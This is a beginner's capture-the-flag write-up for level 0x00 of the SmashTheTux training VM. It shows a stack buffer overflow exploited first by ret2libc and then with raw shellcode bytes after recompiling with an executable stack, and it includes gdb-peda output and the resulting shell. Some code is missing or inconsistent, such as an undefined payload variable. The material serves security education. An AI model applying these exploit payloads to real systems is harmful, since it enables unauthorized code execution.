SmashTheTux Chapter 0x00 Basic Buffer Overflow Ret2libc
SmashTheTux Chapter 0x00 Basic Buffer Overflow Ret2libc
Disclaimer
This is for educational purpose and I will try to explain this tutorial with beginner-friendly explanation as I can.
SmashTheTux is a new VM made by canyoupwn.me for those who wants to take a step into the world of
binary exploitation. This VM consists of 9 challenges, each introducing a different type of vulnerability.
SmashTheTux covers basic exploitation of the following weaknesses:
VM Description:
Summary
Initial Setup
Login to SmasTheTux VM using Virtualbox, VMWare or other virtualization clients with the above credentials
and then get the IP address from that for easy access:
SSH
We will use ssh for remoting the VM because it's easy to use rather than debugging in the VM without scroll
function, copy paste and other function.
ssh [email protected]
The authenticity of host '192.168.2.125 (192.168.2.125)' can't be established.
ECDSA key fingerprint is SHA256:f/.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.2.125' (ECDSA) to the list of known hosts.
_ _ _._
.|_|_,' | /_ _`.
| | (.X.)|
`|`'`-._| |\_/'|
| | )____`\
| | //_V _\ \
| | (( | `(_)
| | / \> ' / \
| | \ \.__./ /
| | `-' `-'
| |
|` |
`--'
__ _ _____ _ _____
/ _\_ __ ___ __ _ ___| |__/__ \ |__ __/__ \_ ___ __
\ \| '_ ` _ \ / _` / __| '_ \ / /\/ '_ \ / _ \/ /\/ | | \ \/ /
_\ \ | | | | | (_| \__ \ | | / / | | | | __/ / | |_| |> <
\__/_| |_| |_|\__,_|___/_| |_\/ |_| |_|\___\/ \__,_/_/\_\
by canyoupwn.me
[email protected]'s password:
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
tux@tux:~$ ls -al
total 288
drwxr-xr-x 12 tux tux 4096 Mar 12 2016 .
drwxr-xr-x 3 root root 4096 Mar 11 2016 ..
drwxr-xr-x 2 tux tux 4096 Mar 11 2016 0x00
drwxr-xr-x 2 tux tux 4096 Mar 11 2016 0x01
drwxr-xr-x 2 tux tux 4096 Mar 12 2016 0x02
drwxr-xr-x 2 tux tux 4096 Mar 12 2016 0x03
drwxr-xr-x 2 tux tux 4096 Mar 12 2016 0x04
drwxr-xr-x 2 tux tux 4096 Mar 12 2016 0x05
drwxr-xr-x 2 tux tux 4096 Mar 12 2016 0x06
drwxr-xr-x 2 tux tux 4096 Mar 12 2016 0x07
drwxr-xr-x 2 tux tux 4096 Mar 12 2016 0x08
drwxr-xr-x 2 tux tux 4096 Mar 12 2016 0x09
lrwxrwxrwx 1 tux tux 9 Mar 11 2016 .bash_history -> /dev/null
-rw-r--r-- 1 tux tux 220 Mar 11 2016 .bash_logout
-rw-r--r-- 1 tux tux 3545 Mar 11 2016 .bashrc
lrwxrwxrwx 1 tux tux 9 Mar 11 2016 .nano_history -> /dev/null
-rw-r--r-- 1 tux tux 675 Mar 11 2016 .profile
-rw-r--r-- 1 tux tux 679 Mar 12 2016 README
-rw-r--r-- 1 tux tux 20871 Mar 12 2016 TUTORIAL_formatstring
-rw-r--r-- 1 tux tux 91044 Mar 11 2016 TUTORIAL_heapoverflow
-rw-r--r-- 1 tux tux 27657 Mar 11 2016 TUTORIAL_integerbugs
-rw-r--r-- 1 tux tux 18657 Mar 11 2016 TUTORIAL_offbyone
-rw-r--r-- 1 tux tux 60996 Mar 11 2016 TUTORIAL_stackoverflow
For someone who have experienced with Protostar, this machine challenges is identical with that.
Level 0x00
return 0;
}
We know that strcpy(3) is a very unsafe function call in the C library and we should use [ strlcpy(3) ](https://
www.freebsd.org/cgi/man.cgi?query=strlcpy&sektion=3
) or snprintf instead. Why? Because by default no check for the size of data that will fit in the local buffer and
blindly copies the data.
Fuzzing
We know that maximum length is 256 bytes for the user input defined before. We can use little python script
for fuzzing the input in case we don't know the offset address:
buffer=["A"]
counter=100
Explanation:
Define first buffer as 100 bytes and then increase by 100 bytes per loop
Copy buffer to program parameter as an argument
From the above result, the program starting to crash/segmentation fault when we use 300 bytes as the input
parameter. But what number exactly trigger that segfault? How to find the missing one? Let's use gdb-peda
for doing this job. I will prefer gdb-peda instead of gdb for easy to use and more friendly.
Install Gdb-Peda
Don't forget to check if gdb is existed in the machine before using gdb-peda.
tux@tux:~/0x00$ gdb -v
GNU gdb (Debian 7.7.1+dfsg-5) 7.7.1
Copyright (C) 2014 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i586-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word".
Because of a limited package in the remote machine, we need to download gdb-peda in local and then copy
to the server using SCP or FTP.
# in host machine
git clone https://github.com/longld/peda.git /home/user/peda
scp -r /home/user/peda [email protected]:/home/tux
Nah, we have gdb-peda installed. Let's do some check for binary security of that file. This is the first thing that I
would do when starting Linux binary exploitation:
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : disabled
Hm... NX is enabled. So, what this means is that we can't execute our payload/shellcode in stack address
because of NX(Non-Executable stack) prevention. Since the processor is not allowed to execute instructions
placed on the stack.
In order to bypass this mechanism, We can use ret2lib (return to libc or return to the C library) technique. In
the simple definition, this attack doesn't require any shellcode to take control of the target vulnerable process
because we can invoke classic built-in functions such as "system, exit, etc".
For more information about ret2libc, you can look at @IoTh1nkN0t explanation https://0x00sec.org/t/exploitin
g-techniques-000-ret2libc/1833
Finding Patterns
As we know that our program crash when using 300 bytes as input parameter, this is will be our clue for
creating a pattern and finding the right offset with gdb-peda.
Aha! We got a signal from our Lord with SIGSEGV(Segmentation Fault). From my experience, this is a possible
signal to overflow the buffer. We get the offset at the end of result 0x41332541 .
$ cat /proc/sys/kernel/randomize_va_space
0
Good, ASLR is disabled for this machine. So, it will be easy for us because the address space value is not
dynamically changed.
As we can see "libc" address is the same every time we check with ldd.
For this purpose, We only need system() , /bin/sh , and exit() function. We will use system function and
passing a shell as an argument and then invoke the exit function in order to terminate our system call. Start
the program first.
gdb-peda$ start
[----------------------------------registers-----------------------------------]
EAX: 0x1
EBX: 0xb7fcf000 --> 0x1a8da8
ECX: 0xbffff730 --> 0x1
EDX: 0xbffff754 --> 0xb7fcf000 --> 0x1a8da8
ESI: 0x0
EDI: 0x0
EBP: 0xbffff718 --> 0x0
ESP: 0xbffff710 --> 0xbffff730 --> 0x1
EIP: 0x804845a (<main+15>: mov ebx,ecx)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8048456 <main+11>: mov ebp,esp
0x8048458 <main+13>: push ebx
0x8048459 <main+14>: push ecx
=> 0x804845a <main+15>: mov ebx,ecx
0x804845c <main+17>: mov eax,DWORD PTR [ebx+0x4]
0x804845f <main+20>: add eax,0x4
0x8048462 <main+23>: mov eax,DWORD PTR [eax]
0x8048464 <main+25>: sub esp,0x8
[------------------------------------stack-------------------------------------]
0000| 0xbffff710 --> 0xbffff730 --> 0x1
0004| 0xbffff714 --> 0xb7fcf000 --> 0x1a8da8
0008| 0xbffff718 --> 0x0
0012| 0xbffff71c --> 0xb7e3fa63 (<__libc_start_main+243>: mov DWORD PTR [esp],eax)
0016| 0xbffff720 --> 0x80484a0 (<__libc_csu_init>: push ebp)
0020| 0xbffff724 --> 0x0
0024| 0xbffff728 --> 0x0
0028| 0xbffff72c --> 0xb7e3fa63 (<__libc_start_main+243>: mov DWORD PTR [esp],eax)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Explanation:
Creating Payload
buf = ""
buf += "X" * (268)
buf += pack("<L",0xb7e643e0) #system() address
buf += pack("<L",0xb7e571b0) #exit() address
buf += pack("<L",0xb7f85a69 ) #/bin/sh call address
print buf
Time to exploit
By default, the program compiled with NX protection and not allowed for executes the payload in stack
address. For this bonus section, we can recompile using execstack parameter for gcc.
mv pwnme pwnme-nx
gcc pwnme.c -o pwnme -fno-stack-protector -z execstack
As you can see, NX protection is disabled for now. We need to know where we will jump by checking the jmp
call eax address.
Searching for jmp/eax call, this information will be useful when overwritting EIP Address.
gdb-peda$ jmpcall
0x8048393 : call eax
0x80483cd : call edx
0x8048420 : call edx
0x80485b7 : jmp [eax]
0x8049393 : call eax
0x80493cd : call edx
0x8049420 : call edx
0x80495b7 : jmp [eax]
We will use 0x8048393 : call eax and note this address as return address.
We know that our offset is 268 and here is the formula I used:
Generating Payload
For this purpose, we need Venom for creating the payload because Spiderman is far from home :P. I think 268
bytes is enough for basic exec linux payload. You may use other shellcode than venom. I'm just prefer this for
easy to use. I'm exclude "\x00\x0a\0d" from shellcode payload as bad character.
import os
buf = ""
buf += "\xb8\x72\x71\x70\x34\xda\xc8\xd9\x74\x24\xf4\x5a\x29"
buf += "\xc9\xb1\x0c\x83\xea\xfc\x31\x42\x0f\x03\x42\x7d\x93"
buf += "\x85\x5e\x8a\x0b\xff\xcd\xea\xc3\xd2\x92\x7b\xf4\x45"
buf += "\x7a\x08\x93\x95\xec\xc1\x01\xff\x82\x94\x25\xad\xb2"
buf += "\xac\xa9\x52\x43\x9f\xcb\x3b\x2d\xf0\x69\xdd\xc2\x66"
buf += "\x6e\x4a\x76\xff\x8f\xb9\xf8"
# define offset
offset = 268
print payload
With that script, you don't need to worry thinking of how many padding you should use.
Time to exploit:
tux@tux:~/0x00$ echo $$
1335
tux@tux:~/0x00$ ps
PID TTY TIME CMD
1335 pts/0 00:00:00 bash
1437 pts/0 00:00:00 ps
tux@tux:~/0x00$ ./pwnme $(python exploit.py)
Val:
������������������������������������������������������
������������������������������������������������������
������������������������������������������������������
�������������������������������rqp4���t$�Z)ɱ
���1BB}��^�
����Ғ{�E�������%����RC��;-
�i��fnJv������8
tux@tux:/home/tux/0x00$ echo $$
1440
tux@tux:/home/tux/0x00$ ps
PID TTY TIME CMD
1335 pts/0 00:00:00 bash
1439 pts/0 00:00:00 sh
1440 pts/0 00:00:00 bash
1445 pts/0 00:00:00 ps
tux@tux:/home/tux/0x00$
Reference:
https://cwe.mitre.org/data/definitions/120.html
https://github.com/ebtaleb/peda_cheatsheet/blob/master/peda.md
https://chortle.ccsu.edu/AssemblyTutorial/Chapter-15/ass15_3.html
https://www.shellblade.net/docs/ret2libc.pdf
https://decoder.cloud/2017/06/15/simple-aslrnx-bypass-on-a-linux-32-bit-binary/
https://sploitfun.wordpress.com/2015/05/08/bypassing-nx-bit-using-return-to-libc/
https://reboare.github.io/bof/linux-stack-bof-3.html
https://www.coengoedegebure.com/buffer-overflow-attacks-explained/